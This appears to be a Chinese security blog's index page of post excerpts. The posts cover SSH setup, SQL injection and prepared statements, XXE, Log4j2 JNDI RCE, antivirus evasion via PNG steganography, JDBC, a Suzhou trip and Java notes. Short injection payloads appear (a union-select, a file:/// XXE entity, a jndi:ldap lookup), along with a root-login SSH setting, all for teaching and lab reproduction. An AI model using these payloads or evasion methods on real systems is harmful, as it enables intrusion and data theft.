Ubuntu开启ssh
今天搭建漏洞的时候发现faild to start ssh.service
service ssh start
很惊讶,因为之前用kali的时候都是自带ssh服务的,没想到Ubuntu需要自己安装
apt-get install openssh-server
安装完成后修改一下ssh配置文件,允许远程使用root进行登录
vi /etc/ssh/sshd_config
#将下方代码加入config文件
#PermitRootLogin prohibit-password
PermitRootLogin yes
重启系统和sshd服务
sudo /etc/init.d/ssh stop
sudo /etc/init.d/ssh start
sudo service ssh start
直接xshell尝试远程ssh登录
安装ssh服务后,系统默认开启系统sshd,查看sshd状态如果不是默认启动,修改服务为enable
sudo systemctl enable ssh
Invoke-PSImage利用分析
之前在bypass360那篇文章用到了这个脚本,最近面试的时候被问到了,没说出来,这篇算是补上之前的缺漏吧,其实最主要的就是这个脚本的隐写来绕过360,简单了解一下这个脚本的隐写原理
如有错误,烦请佬们及时指出,感谢
LSB常年打CTF的佬们应该都多少了解PNG隐写的一些常用打法,例如LSB隐写,网上介绍LSB隐写或者其他隐写的文章很多,大家自己去看吧,我简单介绍一下
在大多数PNG中,像素都是由R,G,B三色组成,每种颜色用8位数据表示(0x00~0xFF),如果修改其最低位,人眼是分辨不出这种微小的变化的。我们就可以利用每个像素的R,G,B颜色分量的最低位来隐藏信息,我就不重复造轮子了
https://3gstudent.github.io/%E9%9A%90%E5%86%99%E6%8A%80%E5%B7%A7-PNG%E6%96%87%E4%BB%B6%E4%B8%AD%E7%9A%84LSB%E9%9A%90%E5%86%99
简介原理简单来说就是将获取到的payload通过插入插入像素的方式插入到图片中,让人的肉眼无法观察出来,同时通过不明显的插入payload来骗过一些杀毒软件达到免杀的效果,使用时,通过powershell代码在命令行将图片马解出来运行payload,达到shell上线
脚本分析涉及到一些图片的底层信息,也是临时在网上了解到的。
在免杀360那篇文章中,核心是通过该脚本生成一个免杀图片马,然后用powershell的形式去加载我们的图片马到电脑,所以关键就在图片马的生成免杀上。根据GitHub上的readme参考说明文件,简单总结下面三点。
选取每个像素的两个颜色中的4位用于保存payload(像素使用的为RGB模式,分别选取颜色分量中的G和B的低4位(共8位)保存payload)
图像质量将受到影响(由于同时替换了G和B的低4位,故图片质 ...
SQL注入防御—预编译
前言最近在简单回顾一下sql注入,其他地方都还好,之前在面试的时候讲到sql注入的预防,我就是简单说了一下采用预编译,并没有细说预编译的一些东西,这篇文章就简单写一下Java中的预编译的代码或者原理。
写的很简单,为了更好解释一下这个预编译,其实明白之后自己往下写就很简单方便了。
SQL注入介绍sql注入漏洞来自于sql查询语句的拼接,攻击者通过非法的输入改写sql语句的语义,以达到攻击者的目的。下面简单举一个例子
例如下面的这段代码,直接把用户post进来的id直接传入SQL查询语句,导致SQL注入产生,对于用户传进来的参数并没有进行限制以及检测。
$id=$_POST['id'];
$query="select username,email from member where id=$id";
我们直接传入一个恶意payload进去,例如像下面这样,用来查询数据库库名。
我们传入**id=2 union select 1,database()**,那么语句SQL查询语句就拼接为select username,email from member where id=2 union select 1,database()
可以发现我们前半部分查询出了select username,email from member where id=1,后半部分执行了select 1,database()
那么我们在日常开发中需要如何避免这种SQL语句由于黑客恶意构造payload导致库信息泄露甚至拖库,就要涉及到今天提及到预编译处理。
SQL语句进行预编译处理因为sql注入是因为动态字符串的拼接导致sql命令发生改变,然后编译并且执行错误的结果。
而sql预处理则是提前“告诉”sql语法处理器,提前声明并且编译特定格式的sql语句,然后将所有用户的输入视为纯字符串参数,最后 ...
苏州——西塘
我直接就是水一篇文章出来,顺便也给大家出一篇攻略吧
day1傍晚到的苏州 苏州站下车就是护城河,可以绕着护城河走一走,我就是这么干的,因为订的酒店也离苏州站没有那么远, 对于我来说很好看 散散步很舒服夜景很美。酒店在拙政园和苏州博物馆附近,走过去就几分钟路程,也没有那么贵,正常酒店价格;三天345元,可以直接地图搜都市118连锁酒店(观前街拙政园店)
附上几张护城河的照片,个人觉得很美
从苏州站直接走去了山塘街,大概30分钟路程吧;山塘街夜景也很美 散散步很舒服 就是人太多了,建筑就是典型的江南水乡的风景,其实正常来说就是个小吃街而已。吃的看自己叭,因为我是自己一个人,也没有吃那么多。不建议在山塘街吃东西(外地人最好骗),附上山塘街照片
day2拙政园和苏博以及狮子林需要前一天提前买票和预约,尤其是你要周末去玩(人很多,有可能晚预约就没票了)更要提前做打算,还有这些公正号都是运营时间是8:00——21:00 要早点把这些事情干了
第一站拙政园,典型的园林,个人觉得值得一去(虽然我同学不太喜欢),但是本着来都来了,看看呗,总体来说还是不错的,拍拍照散散步很好,也挺出片的。来一躺不看看怪可惜的,就是我去的时候好多地方在建,所以有点可惜。
然后去了苏州博物馆,我只能说绝对是我去过最漂亮的博物馆藏品也挺丰富的,很出片,你会发现很多姐姐在哪里拍照,真的很美,尤其是博物馆的整体建筑设计,非常之漂亮,藏品也很漂亮。
然后下一站去了狮子林,也是一个园林,个人感觉一般,有可能是我去了太多园林审美疲劳了,想去的可以去看看,四A级景区,狮子林最出名的是假山,确实假山很多而且四通八达。
因为感觉饭点人真的太多了,所以我在下午三点去吃了我同学推荐的蟹黄捞面。虽然很贵但是我感觉蛮好吃,美团买69,店买98.建议大家可以吃吃看尤其是吃螃蟹的季节,店就在拙政园附近。地图直接搜山塘老街·蟹黄专 ...
Java练习2&&黑马p80、p91-p93
关于XXE漏洞大家相比都不陌生,虽包含在OWASP top10,算是比较常见的漏洞,但是在实战情况下较少遇到,之前文章中虽然也涉及到过XXE的漏洞复现,但是并未太过涉及该漏洞,正好之前有篇文章,修改了一下就发出来了
XXE、XML关于xxe是什么,那就不得不提xml了,简单来说xml就是一种语言,我们在创建java项目的时候通常用xml来引入依赖,xml与html不同,xml旨在传输信息,焦点是数据的格式。
xxe漏洞原因是在解析xml输入时,没有禁止外部实体的加载,导致加载恶意外部文件,而产生的危害,例如rce、任意文件read、内网探测等等,一般是结合其他漏洞打组合拳
XXE检测关于XXE的检测,工具去扫应该是最简单的方法了,所以就不介绍,只介绍一下手工的方法
数据格式首选可以看数据包的格式,例如
<user><username>1</username><password>1</password></user>
这种就是典型的xml格式的数据包,说明是支持xml的数据传输格式,可以进一步去检测是否有XXE漏洞
Content-Type值判断Content-Type: application/xml;即证明支持xml数据传输格式,可以进一步检测XXE漏洞
就借助这个案例来用一下这个靶场,靶场源码就不看了,支持XML数据传输格式,然后再去写一下我们的payload去跑一下
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///d://1.txt"> ...
jdbc技术连接MySQL
本篇文章写于2022年12月Java实训之后,对于jdbc技术有了一点点了解,故有了这篇文章;重点介绍java代码实现
jdbc是什么JDBC是一种可用于执行SQL语句的JavaAPI(ApplicationProgrammingInterface应用程序设计接口)。它由一些Java语言编写的类和界面组成。JDBC为数据库应用开发人员、数据库前台工具开发人员提供了一种标准的应用程序设计接口,使开发人员可以用纯Java语言编写完整的数据库
这里的数据库指的是市面上流行的数据库。如MySQL、Oracle、SQL server等数据库。
jdbc主要能完成的任务简单地说,JDBC能完成下列三件事:
1)同一个数据库建立连接;
2)向数据库发送SQL语句;
3)处理数据库返回的结果
本片文章的环境java版本:jdk1.8.0_221
数据库:MySQL 5.7.26
编译器:IntelliJ IDEA 2021.2.3
代码实现手动调用Class.forName()先来看实现数据库连接的代码
Class.forName("com.mysql.jdbc.Driver");//加载MySQL连接驱动
加载驱动,我们进到driver类中看一下,这个类长下面这样
public class Driver extends NonRegisteringDriver implements java.sql.Driver {
public Driver() throws SQLException {
}
static {
try {
DriverManager.registerDriver(new Driver());
} catch (SQLExcep ...
Apache Log4j2 RCE分析
关于漏洞复现,请看上篇文章
漏洞代码就用上篇文章的代码
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class main {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
logger.error("${jndi:ldap://127.0.0.1:1389/Calc}");
}
}
漏洞入口代码打上断点进行分析,也就是looger.error这一行,一些不重要的地方我就省略一下了,漏洞入口再error函数,我们跟进一下,这里可以看到error函数进入到logIFabled中,入口在logIFEnabled()
lookup机制lookup机制,通俗点说控制会在什么地方级别的日志中出现。首先我们要了解一点日志等级,在log4j2中, 共有8个级别,按照从低到高为:ALL < TRACE < DEBUG < INFO < WARN < ERROR < FATAL < OFF
All:最低等级的,用于打开所有日志记录.
Trace:是追踪,就是程序推进一下.
Debug:指出细粒度信息事件对调试应用程序是非常有帮助的.
Info:消息在粗粒度级 ...
Log4j2漏洞环境搭建及复现
log4j2这个漏洞相比大家不陌生了,是在2021年11月爆出来的apache log4j2的漏洞,下面会详细介绍,堪称漏洞界的核武器了,当时刚爆出来的时候其实就有所耳闻,但是当时并未接触java安全,时隔一年再翻出来看看也是颇有感受的,也算相较于去年进步了吧
这篇文章字有点多,好多概念以及需要了解的东西
漏洞相关信息背景Apache Log4j2是一个基于Java的日志记录工具,是一个很流行的日志记录工具,这才导致这个漏洞影响之大之广,轰动世界,说是核武器当然不为过
2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。
漏洞编号CNVD-2021-95919,CVE-2021-44228
利用条件利用条件可谓是十分简单了,只要你的组件中引入了log4j-api , log4j-core 两个jar,那么这个漏洞就可以被攻击者利用,像测试XSS那样进行RCE
漏洞影响版本Apache Log4j 2.x<=2.14.1
本文环境为log4j2 2.141版本
漏洞利用相关知识log4j2远程代码执行漏洞主要由于存在JNDI注入漏洞,黑客可以恶意构造特殊数据请求包,触发此漏洞,从而成功利用此漏洞可以在目标服务器上执行任意代码,那么自然而然就要知道jndi是个什么东西以及原理
JNDIJNDI全称是Java Naming and Directory Interfac ...
VMware16安装MacOS虚拟机及优化
前言这篇文章水文一篇,起初是逛技术站看到了这样一篇文章,就好奇尝试一下,过程比较复杂,虽然并没什么用,但是对于一个年轻的小伙子对于未知东西的好奇,还是坚持找到了解决办法,大家就当图个乐吧
前期准备使用VMware安装MacOS虚拟机需要下面的三个资源
VMware Workstation:下载 VMware Workstation Pro 版本随意,推荐VMware Workstation 16 pro的环境,因为版本不同可能会出现不同的问题
MacOS的镜像,这里我提供两个10.13和10.14;链接:https://pan.baidu.com/s/1Cx9fAsyOiNtiyX2h_24eoA 提取码:kj5j 百度网盘限速下载慢的话建议看我百度网盘那篇文章
VMware Workstation默认是不支持MacOS虚拟机的安装,所以我们需要破解掉他的限制,这里用到github上的一个工具,https://github.com/paolo-projects/auto-unlocker/releases 注意下载Unlocker-v2.0.0a-x64.zip文件 下载好后解压后得到一个文件夹,里面只有一个exe文件,那就是我们需要的破解程序,注意将这个解压后的文件夹放到你的VMware workstation的安装路径下,例如下面这样
前期需要准备的东西就已经准备完成了
我这里的环境是Windows10家庭版+VMware Workstation 16 pro+MacOS10.13镜像
正文破解右键管理员方式打开我们解压后的破解文件,也就是Unlocker-v2.0.0a-x64/Unlocker.exe
这里可以看到蓝色框内已经自动识别到VMware的安装路径,这也是为什么要把这个文件放到VMware的安装路径的原因,点击Path就会自动进行破解,进度条 ...
包、final、常量、抽象类、接口、内部类
java笔记篇:包、final关键字、常量、抽象类、接口、内部类,都是一些零碎的知识,所以写一篇记录一下,偶尔翻出来看看�?
�? final 常量
权限修饰�?&&代码�?
关于静态代码块实现数据的初始化,我在前面写的学生信息管理系统中添加一个不需要注册的管理员信息来实现;改写前App.java代码
改写后App.java代码�?
那么我们运行尝试一下初始化添加的管理员信息是否有效
抽象类和抽象方法抽象类和抽象方法的定义方�?
public abstract class Animal {
public abstract void eat();
}
//代码我就直接写在一个文件里面了,看起来方便一�?
public class App {
public static void main(String[] args) {
Dog d = new Dog("大黄",3);
d.eat();
d.drink();
Sheep s = new Sheep("小黄",2);
s.eat();
s.drink();
}
}
abstract class Animal {
String name;
int age;
public Animal() {
}
public Animal(String name, int age) {
this.name = name;
this.age = age;
}
public String ge ...